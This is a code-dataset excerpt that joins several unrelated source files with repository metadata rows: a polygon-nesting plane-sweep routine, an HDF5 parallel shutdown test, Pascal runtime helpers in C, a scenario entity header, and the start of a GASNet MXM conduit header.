leftMostVertex = currentVertex;
}
}
// traverse vertices
// subchain ends:
// - when the convex polygonal line ends (i.e., at a reflex vertex)
// - when the next vertex would break the convex chain (i.e., connecting the last to the first vertex would lead to a reflex angle)
// - when the next vertex would break the subchain (i.e., strict (!) x-monotony of the chain)
// note: if there are multiple consecutive vertices with the same x-coordinate, we create a degenerated subchain
enum class SubchainDirection
{
LEFT, // subchain's x-coordinate is strictly increasing
RIGHT // subchain's x-coordinate is strictly decreasing
};
size_t subChainEndVertex = numVertices; // end vertex of the current subchain (in the beginning undefined)
bool subChainEnded = false; // flag that is se when one of the terminating conditions for the current subchain is met
SubchainDirection currentDirection = SubchainDirection::LEFT;
// current subchain
Subchain currentSubchain = { };
currentSubchain.polygon = i;
currentSubchain.currentEdge = INVALID_INDEX;
currentSubchain.degenerate = false;
// current endpoint
Endpoint currentEndpoint = { };
currentEndpoint.polygon = i;
currentEndpoint.polygonVertexIndex = leftMostVertex;
size_t firstEndpointIndex = endpoints.size(); // index to the first endpoint created for this polygon, as we will need it later on
currentSubchain.vertices.push_back(leftMostVertex);
size_t currentVertex = succ(leftMostVertex, currentPolygon);
// we terminate once a subchain ends where we started
while(subChainEndVertex != leftMostVertex)
{
assert(currentSubchain.vertices.size() > 0);
size_t nextVertex = succ(currentVertex, currentPolygon);
// if we just started a subchain, we check its direction
if (currentSubchain.vertices.size() == 1)
{
currentSubchain.degenerate = false;
VALUE_TYPE firstX = GetX(GetVertex(currentPolygon, currentSubchain.vertices[0]));
VALUE_TYPE secondX = GetX(GetVertex(currentPolygon, currentVertex));
if (firstX < secondX)
{
currentDirection = SubchainDirection::LEFT;
}
else if (firstX > secondX)
{
currentDirection = SubchainDirection::RIGHT;
}
else
{
currentSubchain.degenerate = true;
// we still set the direction to reverse the vertex order within the subchain if necessary
VALUE_TYPE firstY = GetY(GetVertex(currentPolygon, currentSubchain.vertices[0]));
VALUE_TYPE secondY = GetY(GetVertex(currentPolygon, currentVertex));
if (firstY > secondY)
{
currentDirection = SubchainDirection::LEFT;
}
else
{
assert(firstY != secondY);
currentDirection = SubchainDirection::RIGHT;
}
}
}
// check conditions for ending subchain
if ( // 1. we are back at the beginning
(currentVertex == leftMostVertex && subChainEndVertex != numVertices)
// 2. we have a degenerate subchain and the next vertex would not have the same x-coordinate
|| (currentSubchain.degenerate && (GetX(GetVertex(currentPolygon, nextVertex)) != GetX(GetVertex(currentPolygon, currentVertex))))
// 3. not degenerate, current vertex is a reflex vertex (or collinear) - convex polygonal line ends, therefore also the subchain
|| (!currentSubchain.degenerate &&
!convexityTest(GetVertex(currentPolygon, pred(currentVertex, currentPolygon)), GetVertex(currentPolygon, currentVertex), GetVertex(currentPolygon, nextVertex)))
// 4. next vertex breaks the convex chain - we need to terminate the polygonal chain
|| (!currentSubchain.degenerate &&
(currentSubchain.vertices.size() > 1)
&& !convexityTest(GetVertex(currentPolygon, nextVertex), GetVertex(currentPolygon, currentSubchain.vertices[0]), GetVertex(currentPolygon, succ(currentSubchain.vertices[0], currentPolygon))))
// 5. next vertex breaks the strict monotony
|| (!currentSubchain.degenerate &&
(((currentDirection == SubchainDirection::LEFT) && GetX(GetVertex(currentPolygon, nextVertex)) <= GetX(GetVertex(currentPolygon, currentVertex)))
|| ((currentDirection == SubchainDirection::RIGHT) && GetX(GetVertex(currentPolygon, nextVertex)) >= GetX(GetVertex(currentPolygon, currentVertex)))))
)
{
subChainEnded = true;
subChainEndVertex = currentVertex;
}
currentSubchain.vertices.push_back(currentVertex);
if (subChainEnded)
{
// subchain ended - insert into list of subchains
if (currentDirection == SubchainDirection::RIGHT)
{
std::reverse(currentSubchain.vertices.begin(), currentSubchain.vertices.end());
}
subchains.push_back(currentSubchain);
// the current endpoint is the end vertex of the last chain and thus our start vertex
size_t endpointIndex = (currentDirection == SubchainDirection::LEFT) ? 0 : (currentSubchain.vertices.size() - 1);
assert(currentEndpoint.polygonVertexIndex == currentSubchain.vertices[endpointIndex]);
currentEndpoint.subchains[1] = subchains.size() - 1;
currentEndpoint.subchainVertexIndices[1] = endpointIndex;
// append the endpoint to the list
endpoints.push_back(currentEndpoint);
size_t nextEndpointIndex = (currentDirection == SubchainDirection::LEFT) ? (currentSubchain.vertices.size() - 1) : 0;
if (subChainEndVertex == leftMostVertex)
{
// this is the last subchain - we need to put our information into the first endpoint
endpoints[firstEndpointIndex].subchains[0] = subchains.size() - 1;
endpoints[firstEndpointIndex].subchainVertexIndices[0]= nextEndpointIndex;
assert(currentSubchain.vertices[nextEndpointIndex] == leftMostVertex);
assert(endpoints[firstEndpointIndex].polygonVertexIndex == currentSubchain.vertices[nextEndpointIndex]);
}
else
{
// the new endpoint is our end vertex
currentEndpoint.subchains[0] = subchains.size() - 1;
currentEndpoint.subchainVertexIndices[0] = nextEndpointIndex;
currentEndpoint.polygonVertexIndex = currentVertex;
// set new subchain start vertex and continue
currentSubchain = { };
currentSubchain.polygon = i;
currentSubchain.vertices.push_back(currentVertex);
currentSubchain.currentEdge = INVALID_INDEX;
subChainEnded = false;
}
}
currentVertex = nextVertex;
}
}
assert(subchains.size() > 1);
#ifdef POLYGONNESTING_PRINT_DEBUG
for (auto& s : subchains)
{
std::cout << "Subchain: " << " polygon " << s.polygon << ", vertices: ";
for (auto i : s.vertices)
{
std::cout << i << " ";
}
if (s.degenerate)
{
std::cout << "(degenerate)";
}
std::cout << std::endl;
}
#endif
// step 2: sort the endpoints of all subchains
std::sort(endpoints.begin(), endpoints.end(),
// comparison functor: 1. by x coordinate, 2. by y coordinate
[&](Endpoint a, Endpoint b)
{
const POLYGON_TYPE* polyA = m_polygonSet[a.polygon];
const POLYGON_TYPE* polyB = m_polygonSet[b.polygon];
size_t vertA = a.polygonVertexIndex;
size_t vertB = b.polygonVertexIndex;
assert(GetX(GetVertex(polyA, vertA)) != GetX(GetVertex(polyB, vertB))
|| GetY(GetVertex(polyA, vertA)) != GetY(GetVertex(polyB, vertB)));
if (GetX(GetVertex(polyA, vertA)) != GetX(GetVertex(polyB, vertB)))
{
return (GetX(GetVertex(polyA, vertA)) < GetX(GetVertex(polyB, vertB)));
}
else
{
return (GetY(GetVertex(polyA, vertA)) > GetY(GetVertex(polyB, vertB)));
}
});
#ifdef POLYGONNESTING_PRINT_DEBUG
std::cout << std::endl << "Sorting result: " << std::endl;
for (auto& e : endpoints)
{
const POLYGON_TYPE* poly = m_polygonSet[e.polygon];
size_t vert = e.polygonVertexIndex;
VALUE_TYPE x = GetX(GetVertex(poly, vert));
VALUE_TYPE y = GetY(GetVertex(poly, vert));
std::cout << "[" << x << ", " << y << "] (" << e.subchains[0] << ", " << e.subchains[1] << ") ";
}
std::cout << std::endl;
#endif
// step 3: setup the initial situation for the plane sweep
std::vector<size_t> orderedSubchains;
std::vector<std::vector<size_t> > orderedSubchainsForPolygons(m_polygonSet.size());
// insert the two first subchains - make sure to take into account the "above" relationship when inserting them
size_t s1 = endpoints[0].subchains[0];
size_t s2 = endpoints[0].subchains[1];
assert(endpoints[0].polygon == subchains[s1].polygon);
assert(subchains[s1].polygon == subchains[s2].polygon);
assert(subchains[s1].vertices.size() > 1);
assert(subchains[s2].vertices.size() > 1);
size_t p = endpoints[0].polygon;
// only insert non-degenerate subchains
if (subchains[s1].degenerate)
{
orderedSubchains.push_back(s2);
}
else if (subchains[s2].degenerate)
{
orderedSubchains.push_back(s1);
}
else
{
// insert the subchain above the other one first
if (GetY(GetVertex(m_polygonSet[p], subchains[s1].vertices[1])) > GetY(GetVertex(m_polygonSet[p], subchains[s2].vertices[1])))
{
orderedSubchains.push_back(s1);
orderedSubchains.push_back(s2);
}
else
{
orderedSubchains.push_back(s2);
orderedSubchains.push_back(s1);
}
}
assert(orderedSubchains.size() > 0); // there is at least one non-degenerate subchain sine we start at the top left vertex
orderedSubchainsForPolygons[p].push_back(orderedSubchains[0]);
if (orderedSubchains.size() > 1)
{
orderedSubchainsForPolygons[p].push_back(orderedSubchains[1]);
}
// we remember the current edge where the sweep line stands by its start vertex
// (the initial INVALID_INDEX means that a subchains has not been visited yet)
if (!subchains[s1].degenerate)
{
subchains[s1].currentEdge = 0;
}
if (!subchains[s2].degenerate)
{
subchains[s2].currentEdge = 0;
}
// step 4: perform plane sweep from left to right
SubchainCompareFunctor compare(m_polygonSet, subchains, 0.f, mf_GetVertex, mf_GetX, mf_GetY);
for (size_t sweepLineIndex = 1; sweepLineIndex < endpoints.size(); ++sweepLineIndex)
{
// get the next subchain endpoint v_i
Endpoint& currentEndpoint = endpoints[sweepLineIndex];
// get the subchains connected to this endpoint
size_t s1 = currentEndpoint.subchains[0];
size_t s2 = currentEndpoint.subchains[1];
bool s1Inserted = (subchains[s1].currentEdge != INVALID_INDEX);
bool s2Inserted = (subchains[s2].currentEdge != INVALID_INDEX);
bool s1Degenerate = subchains[s1].degenerate;
bool s2Degenerate = subchains[s2].degenerate;
// curent sweep line x-coordinate
VALUE_TYPE sweepLineCoord = GetX(GetVertex(m_polygonSet[currentEndpoint.polygon], currentEndpoint.polygonVertexIndex));
compare.SetSweepLineCoord(sweepLineCoord);
// check if both subchains of this endpoint have already been visited (or are degenerate) - if so, remove them from the list of ordered subchains and continue
if ((s1Degenerate || s1Inserted) && (s2Degenerate || s2Inserted))
{
if (!s1Degenerate)
{
auto firstIterator = std::lower_bound(orderedSubchains.begin(), orderedSubchains.end(), s1, compare);
assert(firstIterator != orderedSubchains.end());
orderedSubchains.erase(firstIterator);
auto firstPolygonIterator = std::lower_bound(orderedSubchainsForPolygons[currentEndpoint.polygon].begin(), orderedSubchainsForPolygons[currentEndpoint.polygon].end(), s1, compare);
assert(firstPolygonIterator != orderedSubchainsForPolygons[currentEndpoint.polygon].end());
orderedSubchainsForPolygons[currentEndpoint.polygon].erase(firstPolygonIterator);
}
if (!s2Degenerate)
{
auto secondIterator = std::lower_bound(orderedSubchains.begin(), orderedSubchains.end(), s2, compare);
assert(secondIterator != orderedSubchains.end());
orderedSubchains.erase(secondIterator);
auto secondPolygonIterator = std::lower_bound(orderedSubchainsForPolygons[currentEndpoint.polygon].begin(), orderedSubchainsForPolygons[currentEndpoint.polygon].end(), s2, compare);
assert(secondPolygonIterator != orderedSubchainsForPolygons[currentEndpoint.polygon].end());
orderedSubchainsForPolygons[currentEndpoint.polygon].erase(secondPolygonIterator);
}
continue;
}
// step 4(a)
// we can either have one subchain inserted or none of them - check which is the case
// we need to use the non-degenerate subchain if one is degenerate
size_t subchainToSearch = s1;
if (s1Degenerate || s2Inserted)
{
subchainToSearch = s2;
}
// we will insert the new subchains later and in order to use the binary search, we set their current edge to 0
if (!s1Degenerate && !s1Inserted)
{
subchains[s1].currentEdge = 0;
}
if (!s2Degenerate && !s2Inserted)
{
subchains[s2].currentEdge = 0;
}
// find position in subchain order
// this will either give us the position of the inserted subchain or the position where we need to insert if none is inserted
auto positionIterator = std::lower_bound(orderedSubchains.begin(), orderedSubchains.end(), subchainToSearch, compare);
// step 4(b)
auto neighbor = orderedSubchains.end();
if (!orderedSubchains.empty() && (positionIterator != orderedSubchains.begin()))
{
// there is at least one subchain above the current subchain - get the direct neighbor
neighbor = positionIterator - 1;
size_t polygon = subchains[*neighbor].polygon;
// only proceed if the neighbor is a different polygon
if (polygon != currentEndpoint.polygon)
{
// check in the list of subchains for this specific polygon to to know how many subchains are above the current subchain
auto polygonIterator = std::lower_bound(orderedSubchainsForPolygons[polygon].begin(), orderedSubchainsForPolygons[polygon].end(), *neighbor, compare);
assert(polygonIterator != orderedSubchainsForPolygons[polygon].end());
size_t numAbove = static_cast<size_t>(std::distance(orderedSubchainsForPolygons[polygon].begin(), polygonIterator) + 1);
// if odd: set the parent to the polygon, else set it to the parent of the polygon
if (numAbove % 2 == 1)
{
m_parents[m_polygonSet[currentEndpoint.polygon]] = m_polygonSet[polygon];
}
else
{
m_parents[m_polygonSet[currentEndpoint.polygon]] = m_parents[m_polygonSet[polygon]];
}
}
}
// step 4(c)
// find the position in the polygon ordering as well
auto polygonIterator = std::lower_bound(orderedSubchainsForPolygons[currentEndpoint.polygon].begin(),
orderedSubchainsForPolygons[currentEndpoint.polygon].end(), subchainToSearch, compare);
// in case one of the subchains has already been visited we replace it by the other one in both orderings
if (s1Inserted && !s2Degenerate)
{
assert(positionIterator != orderedSubchains.end());
assert(polygonIterator != orderedSubchainsForPolygons[currentEndpoint.polygon].end());
*positionIterator = s2;
*polygonIterator = s2;
}
else if (s2Inserted && !s1Degenerate)
{
assert(positionIterator != orderedSubchains.end());
assert(polygonIterator != orderedSubchainsForPolygons[currentEndpoint.polygon].end());
*positionIterator = s1;
*polygonIterator = s1;
}
else
{
// otherwise, we insert the subchains in the ordering
if (!s1Degenerate && !s1Inserted)
{
positionIterator = std::lower_bound(orderedSubchains.begin(), orderedSubchains.end(), s1, compare);
polygonIterator = std::lower_bound(orderedSubchainsForPolygons[currentEndpoint.polygon].begin(),
orderedSubchainsForPolygons[currentEndpoint.polygon].end(), s1, compare);
orderedSubchains.insert(positionIterator, s1);
orderedSubchainsForPolygons[currentEndpoint.polygon].insert(polygonIterator, s1);
}
if (!s2Degenerate && !s2Inserted)
{
positionIterator = std::lower_bound(orderedSubchains.begin(), orderedSubchains.end(), s2, compare);
polygonIterator = std::lower_bound(orderedSubchainsForPolygons[currentEndpoint.polygon].begin(),
orderedSubchainsForPolygons[currentEndpoint.polygon].end(), s2, compare);
orderedSubchains.insert(positionIterator, s2);
orderedSubchainsForPolygons[currentEndpoint.polygon].insert(polygonIterator, s2);
}
}
}
}
| 44.894937 | 215 | 0.611808 |
bd146e0d97bf53bbc867572bba0a73e4c6f643cf | 4,325 | c | C | testpar/t_pshutdown.c | UIUC-PPL/hdf5-ampi | 207fb893e3c9abfa80f12a47ca1e14c814a36f30 | [
"BSD-3-Clause-LBNL"
] | 1 | 2021-09-29T20:43:03.000Z | 2021-09-29T20:43:03.000Z | testpar/t_pshutdown.c | UIUC-PPL/hdf5-ampi | 207fb893e3c9abfa80f12a47ca1e14c814a36f30 | [
"BSD-3-Clause-LBNL"
] | 1 | 2021-09-29T20:42:47.000Z | 2021-10-12T21:40:57.000Z | testpar/t_pshutdown.c | UIUC-PPL/hdf5-ampi | 207fb893e3c9abfa80f12a47ca1e14c814a36f30 | [
"BSD-3-Clause-LBNL"
] | 1 | 2018-10-26T22:56:15.000Z | 2018-10-26T22:56:15.000Z | /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Copyright by The HDF Group. *
* Copyright by the Board of Trustees of the University of Illinois. *
* All rights reserved. *
* *
* This file is part of HDF5. The full HDF5 copyright notice, including *
* terms governing use, modification, and redistribution, is contained in *
* the COPYING file, which can be found at the root of the source code *
* distribution tree, or in https://support.hdfgroup.org/ftp/HDF5/releases. *
* If you do not have access to either file, you may request a copy from *
* help@hdfgroup.org. *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* Programmer: Mohamad Chaarawi
* February 2015
*
* Purpose: This test creates a file and a bunch of objects in the
* file and then calls MPI_Finalize without closing anything. The
* library should exercise the attribute callback destroy attached to
* MPI_COMM_SELF and terminate the HDF5 library closing all open
* objects. The t_prestart test will read back the file and make sure
* all created objects are there.
*/
#include "testphdf5.h"
__thread int nerrors = 0; /* errors count */
const char *FILENAME[] = {
"shutdown",
NULL
};
int
main (int argc, char **argv)
{
hid_t file_id, dset_id, grp_id;
hid_t fapl, sid, mem_dataspace;
hsize_t dims[RANK], i;
herr_t ret;
char filename[1024];
int mpi_size, mpi_rank;
MPI_Comm comm = MPI_COMM_WORLD;
MPI_Info info = MPI_INFO_NULL;
hsize_t start[RANK];
hsize_t count[RANK];
hsize_t stride[RANK];
hsize_t block[RANK];
DATATYPE *data_array = NULL; /* data buffer */
MPI_Init(&argc, &argv);
MPI_Comm_size(comm, &mpi_size);
MPI_Comm_rank(comm, &mpi_rank);
if(MAINPROCESS)
TESTING("proper shutdown of HDF5 library");
/* Set up file access property list with parallel I/O access */
fapl = H5Pcreate(H5P_FILE_ACCESS);
VRFY((fapl >= 0), "H5Pcreate succeeded");
ret = H5Pset_fapl_mpio(fapl, comm, info);
VRFY((ret >= 0), "");
h5_fixname(FILENAME[0], fapl, filename, sizeof filename);
file_id = H5Fcreate(filename, H5F_ACC_TRUNC, H5P_DEFAULT, fapl);
VRFY((file_id >= 0), "H5Fcreate succeeded");
grp_id = H5Gcreate2(file_id, "Group", H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);
VRFY((grp_id >= 0), "H5Gcreate succeeded");
dims[0] = ROW_FACTOR*mpi_size;
dims[1] = COL_FACTOR*mpi_size;
sid = H5Screate_simple (RANK, dims, NULL);
VRFY((sid >= 0), "H5Screate_simple succeeded");
dset_id = H5Dcreate2(grp_id, "Dataset", H5T_NATIVE_INT, sid, H5P_DEFAULT, H5P_DEFAULT, H5P_DEFAULT);
VRFY((dset_id >= 0), "H5Dcreate succeeded");
/* allocate memory for data buffer */
data_array = (DATATYPE *)HDmalloc(dims[0]*dims[1]*sizeof(DATATYPE));
VRFY((data_array != NULL), "data_array HDmalloc succeeded");
/* Each process takes a slabs of rows. */
block[0] = dims[0]/mpi_size;
block[1] = dims[1];
stride[0] = block[0];
stride[1] = block[1];
count[0] = 1;
count[1] = 1;
start[0] = mpi_rank*block[0];
start[1] = 0;
/* put some trivial data in the data_array */
for(i=0 ; i<dims[0]*dims[1]; i++)
data_array[i] = mpi_rank + 1;
ret = H5Sselect_hyperslab(sid, H5S_SELECT_SET, start, stride, count, block);
VRFY((ret >= 0), "H5Sset_hyperslab succeeded");
/* create a memory dataspace independently */
mem_dataspace = H5Screate_simple (RANK, block, NULL);
VRFY((mem_dataspace >= 0), "");
/* write data independently */
ret = H5Dwrite(dset_id, H5T_NATIVE_INT, mem_dataspace, sid,
H5P_DEFAULT, data_array);
VRFY((ret >= 0), "H5Dwrite succeeded");
/* release data buffers */
if(data_array)
HDfree(data_array);
MPI_Finalize();
nerrors += GetTestNumErrs();
if(MAINPROCESS) {
if(0 == nerrors)
PASSED()
else
H5_FAILED()
}
return (nerrors!=0);
}
| 34.325397 | 104 | 0.582659 |
bd1470f32758835f4a7d021e9a7b1095b36128c4 | 4,467 | c | C | project_files/hwc/rtl/sysutils.c | LocutusOfBorg/hw | e19b5ea73546cf1ee3fab8b9a5a109445d70ca25 | [
"Apache-2.0"
] | 401 | 2015-01-08T05:38:43.000Z | 2022-03-26T10:56:42.000Z | project_files/hwc/rtl/sysutils.c | LocutusOfBorg/hw | e19b5ea73546cf1ee3fab8b9a5a109445d70ca25 | [
"Apache-2.0"
] | 31 | 2015-01-05T16:50:02.000Z | 2021-04-05T02:10:38.000Z | project_files/hwc/rtl/sysutils.c | LocutusOfBorg/hw | e19b5ea73546cf1ee3fab8b9a5a109445d70ca25 | [
"Apache-2.0"
] | 107 | 2015-01-08T05:38:46.000Z | 2022-02-10T03:49:40.000Z | #include "SysUtils.h"
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "system.h"
#include "misc.h"
TDateTime fpcrtl_date()
{
const int num_days_between_1900_1980 = 29220;
struct tm ref_date;
struct tm cur_date;
time_t local_time;
time_t ref_time, cur_time;
double timeDiff;
double day_time_frac; //fraction that represents the time in one day
int num_seconds;
int numDays;
// unix epoch doesn't work, choose Jan 1st 1980 instead
ref_date.tm_year = 80;
ref_date.tm_mon = 0;
ref_date.tm_mday = 1;
ref_date.tm_hour = 0;
ref_date.tm_min = 0;
ref_date.tm_sec = 0;
ref_date.tm_isdst = 0;
ref_date.tm_wday = 0; // ignored
ref_date.tm_yday = 0; // ignored
local_time = time(NULL);
cur_date = *localtime(&local_time);
cur_date.tm_hour = 0;
cur_date.tm_min = 0;
cur_date.tm_sec = 0;
ref_time = mktime(&ref_date);
cur_time = mktime(&cur_date);
timeDiff = difftime(cur_time, ref_time);
numDays = fpcrtl_round(timeDiff / 3600 / 24) + num_days_between_1900_1980 + 1;
fpcrtl_printf("[date] tim diff: %f\n", timeDiff);
fpcrtl_printf("[date] num days between 1980 and today: %d\n", fpcrtl_round(timeDiff/3600/24));
fpcrtl_printf("[date] current date: %s\n", asctime(&cur_date));
fpcrtl_printf("[date] reference date: %s\n", asctime(&ref_date));
fpcrtl_printf("[date] num days: %d\n", numDays);
return numDays;
}
TDateTime fpcrtl_time()
{
struct tm cur_date;
time_t local_time;
time_t cur_time;
double day_time_frac; //fraction that represents the time in one day
int num_seconds;
local_time = time(NULL);
cur_date = *localtime(&local_time);
num_seconds = cur_date.tm_hour * 3600 + cur_date.tm_min * 60 + cur_date.tm_sec;
day_time_frac = num_seconds / 3600.0 / 24.0;
fpcrtl_printf("%f\n", day_time_frac);
return day_time_frac;
}
TDateTime fpcrtl_now()
{
return fpcrtl_date() + fpcrtl_time();
}
// Semi-dummy implementation of FormatDateTime
string255 fpcrtl_formatDateTime(string255 FormatStr, TDateTime DateTime)
{
string255 buffer = STRINIT(FormatStr.str);
time_t rawtime;
struct tm* my_tm;
// DateTime is ignored, always uses current time.
// TODO: Use DateTime argument properly.
time(&rawtime);
my_tm = localtime(&rawtime);
// Currently uses a hardcoded format string, FormatStr is ignored.
// The format strings for C and Pascal differ!
// TODO: Use FormatStr argument properly.
size_t len = strftime(buffer.str, sizeof(buffer.str), "%Y-%m-%d-%H-%M-%S-0", my_tm);
buffer.len = len;
return buffer;
}
string255 fpcrtl_trim(string255 s)
{
int left, right;
if(s.len == 0){
return s;
}
for(left = 0; left < s.len; left++)
{
if(s.str[left] != ' '){
break;
}
}
for(right = s.len - 1; right >= 0; right--)
{
if(s.str[right] != ' '){
break;
}
}
if(left > right){
s.len = 0;
s.str[0] = 0;
return s;
}
s.len = right - left + 1;
memmove(s.str, s.str + left, s.len);
s.str[s.len] = 0;
return s;
}
Integer fpcrtl_strToInt(string255 s)
{
s.str[s.len] = 0;
return atoi(s.str);
}
string255 fpcrtl_extractFileDir(string255 f)
{
const char sep[] = {'\\', '/', ':'};
LongInt i,j;
i = f.len - 1;
while(i >= 0){
for(j = 0; j < sizeof(sep); j++){
if(f.str[i] == sep[j]){
goto FPCRTL_EXTRACTFILEDIR_END;
}
}
i--;
}
FPCRTL_EXTRACTFILEDIR_END:
return fpcrtl_copy(f, 1, i);
}
//function ExtractFileName(const FileName: string): string;
//var
// i : longint;
// EndSep : Set of Char;
//begin
// I := Length(FileName);
// EndSep:=AllowDirectorySeparators+AllowDriveSeparators;
// while (I > 0) and not (FileName[I] in EndSep) do
// Dec(I);
// Result := Copy(FileName, I + 1, MaxInt);
//end;
string255 fpcrtl_extractFileName(string255 f)
{
const char sep[] = {'\\', '/', ':'};
LongInt i,j;
i = f.len - 1;
while(i >= 0){
for(j = 0; j < sizeof(sep); j++){
if(f.str[i] == sep[j]){
goto FPCRTL_EXTRACTFILENAME_END;
}
}
i--;
}
FPCRTL_EXTRACTFILENAME_END:
return fpcrtl_copy(f, i + 2, 256);
}
string255 fpcrtl_strPas(PChar p)
{
return fpcrtl_pchar2str(p);
}
| 22.675127 | 99 | 0.60488 |
bd157a77f501c281510ddfe893bb66c152c4aed6 | 356 | h | C | entity/entity_plugins/include/entity_plugins/pedestrian_entity.h | cvasfi/scenario_runner.iv.universe | b8a6388faf502478fdc217ad7a30d8cab2dcae39 | [
"Apache-2.0"
] | 2 | 2020-09-25T08:53:18.000Z | 2020-10-23T09:42:49.000Z | entity/entity_plugins/include/entity_plugins/pedestrian_entity.h | cvasfi/scenario_runner.iv.universe | b8a6388faf502478fdc217ad7a30d8cab2dcae39 | [
"Apache-2.0"
] | 36 | 2020-10-23T07:40:37.000Z | 2021-02-19T09:24:46.000Z | entity/entity_plugins/include/entity_plugins/pedestrian_entity.h | cvasfi/scenario_runner.iv.universe | b8a6388faf502478fdc217ad7a30d8cab2dcae39 | [
"Apache-2.0"
] | 15 | 2020-09-30T16:37:57.000Z | 2021-12-03T07:06:17.000Z | #ifndef INCLUDED_ENTITY_PLUGINS_PEDESTRIAN_ENTITY_H
#define INCLUDED_ENTITY_PLUGINS_PEDESTRIAN_ENTITY_H
#include <scenario_entities/entity_base.h>
namespace entity_plugins
{
struct PedestrianEntity
: public scenario_entities::EntityBase
{
PedestrianEntity();
};
} // namespace entity_plugins
#endif // INCLUDED_ENTITY_PLUGINS_PEDESTRIAN_ENTITY_H
| 18.736842 | 53 | 0.839888 |
bd15ce8421a33a710ce4c9aa8b7d3c033284694c | 6,701 | h | C | third-party/gasnet/gasnet-src/mxm-conduit/gasnet_core.h | briangu/chapel | 331c661f8dc2490c22c7e3d5c056e67c364fc17b | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2016-11-28T21:44:18.000Z | 2016-11-28T21:44:18.000Z | third-party/gasnet/gasnet-src/mxm-conduit/gasnet_core.h | briangu/chapel | 331c661f8dc2490c22c7e3d5c056e67c364fc17b | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | third-party/gasnet/gasnet-src/mxm-conduit/gasnet_core.h | briangu/chapel | 331c661f8dc2490c22c7e3d5c056e67c364fc17b | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | /*
* Description: GASNet header for MXM conduit core
* Copyright (c) 2002, Dan Bonachea <bonachea@cs.berkeley.edu>
* Copyright (c) 2012, Mellanox Technologies LTD. All rights reserved.
* Terms of use are as specified in license.txt
*/
#ifndef _IN_GASNET_H
#error This file is not meant to be included directly- clients should include gasnet.h
#endif
#ifndef _GASNET_CORE_H
#define _GASNET_CORE_H
#include <gasnet_core_help.h>
GASNETI_BEGIN_EXTERNC
/* ------------------------------------------------------------------------------------ */
/*
Initialization
==============
*/
/* gasnet_init not inlined or renamed because we use redef-name trick on
it to ensure proper version linkage */
extern int gasnet_init(int *argc, char ***argv);
extern int gasnetc_attach(gasnet_handlerentry_t *table, int numentries,
uintptr_t segsize, uintptr_t minheapoffset);
#define gasnet_attach gasnetc_attach
extern void gasnetc_exit(int exitcode) GASNETI_NORETURN;
GASNETI_NORETURNP(gasnetc_exit)
#define gasnet_exit gasnetc_exit
/* Some conduits permit gasnet_init(NULL,NULL).
Define to 1 if this conduit supports this extension, or to 0 otherwise. */
#if !HAVE_MPI_SPAWNER || (GASNETI_MPI_VERSION >= 2)
#define GASNET_NULL_ARGV_OK 1
#else
#define GASNET_NULL_ARGV_OK 0
#endif
/* ------------------------------------------------------------------------------------ */
/*
No-interrupt sections
=====================
*/
/* conduit may or may not need this based on whether interrupts are used for running handlers */
#if GASNETC_USE_INTERRUPTS
extern void gasnetc_hold_interrupts(void);
extern void gasnetc_resume_interrupts(void);
#define gasnet_hold_interrupts gasnetc_hold_interrupts
#define gasnet_resume_interrupts gasnetc_resume_interrupts
#else
#define gasnet_hold_interrupts()
#define gasnet_resume_interrupts()
#endif
/* ------------------------------------------------------------------------------------ */
/*
Handler-safe locks
==================
*/
typedef struct _gasnet_hsl_t {
gasneti_mutex_t lock;
#if GASNETI_STATS_OR_TRACE
gasneti_tick_t acquiretime;
#endif
#if GASNETC_USE_INTERRUPTS
/* more state may be required for conduits using interrupts */
#error interrupts not implemented
#endif
} gasnet_hsl_t GASNETI_THREAD_TYPEDEF;
#if GASNETI_STATS_OR_TRACE
#define GASNETC_LOCK_STAT_INIT ,0
#else
#define GASNETC_LOCK_STAT_INIT
#endif
#if GASNETC_USE_INTERRUPTS
#error interrupts not implemented
#define GASNETC_LOCK_INTERRUPT_INIT
#else
#define GASNETC_LOCK_INTERRUPT_INIT
#endif
#define GASNET_HSL_INITIALIZER { \
GASNETI_MUTEX_INITIALIZER \
GASNETC_LOCK_STAT_INIT \
GASNETC_LOCK_INTERRUPT_INIT \
}
/* decide whether we have "real" HSL's */
#if GASNETI_THREADS || GASNETC_USE_INTERRUPTS || /* need for safety */ \
GASNET_DEBUG || GASNETI_STATS_OR_TRACE /* or debug/tracing */
#ifdef GASNETC_NULL_HSL
#error bad defn of GASNETC_NULL_HSL
#endif
#else
#define GASNETC_NULL_HSL 1
#endif
#if GASNETC_NULL_HSL
/* HSL's unnecessary - compile away to nothing */
#define gasnet_hsl_init(hsl)
#define gasnet_hsl_destroy(hsl)
#define gasnet_hsl_lock(hsl)
#define gasnet_hsl_unlock(hsl)
#define gasnet_hsl_trylock(hsl) GASNET_OK
#else
extern void gasnetc_hsl_init (gasnet_hsl_t *hsl);
extern void gasnetc_hsl_destroy(gasnet_hsl_t *hsl);
extern void gasnetc_hsl_lock (gasnet_hsl_t *hsl);
extern void gasnetc_hsl_unlock (gasnet_hsl_t *hsl);
extern int gasnetc_hsl_trylock(gasnet_hsl_t *hsl) GASNETI_WARN_UNUSED_RESULT;
#define gasnet_hsl_init gasnetc_hsl_init
#define gasnet_hsl_destroy gasnetc_hsl_destroy
#define gasnet_hsl_lock gasnetc_hsl_lock
#define gasnet_hsl_unlock gasnetc_hsl_unlock
#define gasnet_hsl_trylock gasnetc_hsl_trylock
#endif
/* ------------------------------------------------------------------------------------ */
/*
Active Message Size Limits
==========================
*/
#define GASNETC_MAX_ARGS 16
/*
* The maximal message size in MXM is practically
* unlimited, so this should really be ((size_t)-1).
* However, GASNet Extended API implementation uses
* implicit casting to int here and there, so as
* a workaround, use INT_MAX instead.
*/
#define GASNETC_MAX_LONG_REQ ((size_t)INT_MAX)
#define GASNETC_MAX_LONG_REP ((size_t)(GASNETC_MAX_LONG_REQ))
#define GASNETC_MXM_MAX_MSG_SIZE 0x40000000
/*
* Medium messages are sent using SEND and adding MXM eager RDMA header
* (unlike long messages that are sent with PUT and using MXM write header).
* The actual data that is being sent is:
* - arguments buffer
* - user buffer
* - metadata is sent in immediate (part of MXM header for eager)
* - source node ID is sent in tag (part of MXM header for eager)
* - MXM header for eager RDMA (22 bytes)
*/
